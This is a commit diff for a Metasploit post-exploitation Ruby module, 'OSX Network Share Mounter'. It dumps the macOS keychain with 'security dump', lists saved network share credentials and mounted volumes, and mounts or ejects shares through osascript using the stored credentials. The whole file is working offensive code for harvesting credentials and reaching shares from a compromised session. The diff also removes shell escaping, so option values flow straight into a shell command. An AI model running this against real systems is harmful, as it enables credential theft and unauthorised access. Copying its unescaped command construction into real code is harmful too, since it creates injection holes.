Submitting first version for pull request
parent
76660b858c
commit
0c096c10fb
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'OSX Network Share Mounter',
|
'Name' => 'OSX Network Share Mounter',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module lists saved network shares and tries to connect to them using stored credentials.
|
This module lists saved network shares and tries to connect to them using stored credentials. This does not require root privileges.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
|
@ -26,15 +26,15 @@ class Metasploit3 < Msf::Post
|
||||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
'Actions' => [
|
'Actions' => [
|
||||||
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
|
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
|
||||||
[ 'CONNECT', { 'Description' => 'Connect to a network share using stored credentials' } ],
|
[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
|
||||||
[ 'DISCONNECT', { 'Description' => 'Disconnect a mounted volume' } ]
|
[ 'UNMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
|
||||||
],
|
],
|
||||||
'DefaultAction' => 'LIST'
|
'DefaultAction' => 'LIST'
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('SHARE', [true, 'Name of network share connection. `set ACTION LIST` to get a list.', 'localhost']),
|
OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
|
||||||
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
|
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
|
||||||
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
|
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
|
||||||
OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb'])
|
OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb'])
|
||||||
|
@ -46,37 +46,51 @@ class Metasploit3 < Msf::Post
|
||||||
fail_with("Invalid action") if action.nil?
|
fail_with("Invalid action") if action.nil?
|
||||||
|
|
||||||
if action.name == 'LIST'
|
if action.name == 'LIST'
|
||||||
data = get_share_list()
|
saved_shares = get_share_list
|
||||||
if data.length == 0
|
if saved_shares.length == 0
|
||||||
print_status("No Network Share credentials were found in the keyrings")
|
print_status("No Network Share credentials were found in the keyrings")
|
||||||
else
|
else
|
||||||
|
print_status("Network shares saved in keyrings:")
|
||||||
print_status("Protocol\tShare Name")
|
print_status("Protocol\tShare Name")
|
||||||
data.each do |line|
|
saved_shares.each do |line|
|
||||||
print_good(line)
|
print_good(line)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
elsif action.name == 'CONNECT'
|
mounted_shares = get_mounted_list
|
||||||
connect()
|
if mounted_shares.length == 0
|
||||||
elsif action.name == 'DISCONNECT'
|
print_status("No volumes found in /Volumes")
|
||||||
connect_vpn(false)
|
else
|
||||||
|
print_status("Mounted Volumes:")
|
||||||
|
mounted_shares.each do |line|
|
||||||
|
print_good(line)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
elsif action.name == 'MOUNT'
|
||||||
|
mount
|
||||||
|
elsif action.name == 'UNMOUNT'
|
||||||
|
unmount
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_share_list()
|
def get_share_list
|
||||||
vprint_status(datastore['SECURITY_PATH'].shellescape + " dump")
|
vprint_status(datastore['SECURITY_PATH'].shellescape + " dump")
|
||||||
data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump")
|
data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump")
|
||||||
# Grep for desc srvr and ptcl
|
# Grep for desc srvr and ptcl
|
||||||
tmp = Array.new()
|
tmp = []
|
||||||
data.split("\n").each do |line|
|
lines = data.lines
|
||||||
|
lines.each do |line|
|
||||||
|
line.strip!
|
||||||
unless line !~ /desc|srvr|ptcl/
|
unless line !~ /desc|srvr|ptcl/
|
||||||
tmp.push(line)
|
tmp.push(line)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
# Go through the list, find the saved Network Password descriptions
|
# Go through the list, find the saved Network Password descriptions
|
||||||
# and their corresponding ptcl and srvr attributes
|
# and their corresponding ptcl and srvr attributes
|
||||||
list = Array.new()
|
list = []
|
||||||
for x in 0..tmp.length-1
|
for x in 0..tmp.length-1
|
||||||
if tmp[x] =~ /"desc"<blob>="Network Password"/
|
if tmp[x] =~ /"desc"<blob>="Network Password"/ && x < tmp.length-3
|
||||||
|
# Remove everything up to the double-quote after the equal sign,
|
||||||
|
# and also the trailing double-quote
|
||||||
protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '')
|
protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '')
|
||||||
server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '')
|
server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '')
|
||||||
list.push(protocol + "\t" + server)
|
list.push(protocol + "\t" + server)
|
||||||
|
@ -85,12 +99,32 @@ class Metasploit3 < Msf::Post
|
||||||
return list.sort
|
return list.sort
|
||||||
end
|
end
|
||||||
|
|
||||||
def connect()
|
def get_mounted_list
|
||||||
share_name = datastore['SHARE'].shellescape
|
vprint_status("ls /Volumes")
|
||||||
protocol = datastore['PROTOCOL'].shellescape
|
data = cmd_exec("ls /Volumes")
|
||||||
|
list = []
|
||||||
|
lines = data.lines
|
||||||
|
lines.each do |line|
|
||||||
|
line.strip!
|
||||||
|
list << line
|
||||||
|
end
|
||||||
|
return list.sort
|
||||||
|
end
|
||||||
|
|
||||||
|
def mount
|
||||||
|
share_name = datastore['VOLUME']
|
||||||
|
protocol = datastore['PROTOCOL']
|
||||||
print_status("Connecting to #{protocol}://#{share_name}")
|
print_status("Connecting to #{protocol}://#{share_name}")
|
||||||
cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'"
|
cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'"
|
||||||
vprint_status(cmd)
|
vprint_status(cmd)
|
||||||
cmd_exec(cmd)
|
cmd_exec(cmd)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def unmount
|
||||||
|
share_name = datastore['VOLUME']
|
||||||
|
print_status("Disconnecting from #{share_name}")
|
||||||
|
cmd = "osascript -e 'tell app \"finder\" to eject \"#{share_name}\"'"
|
||||||
|
vprint_status(cmd)
|
||||||
|
cmd_exec(cmd)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue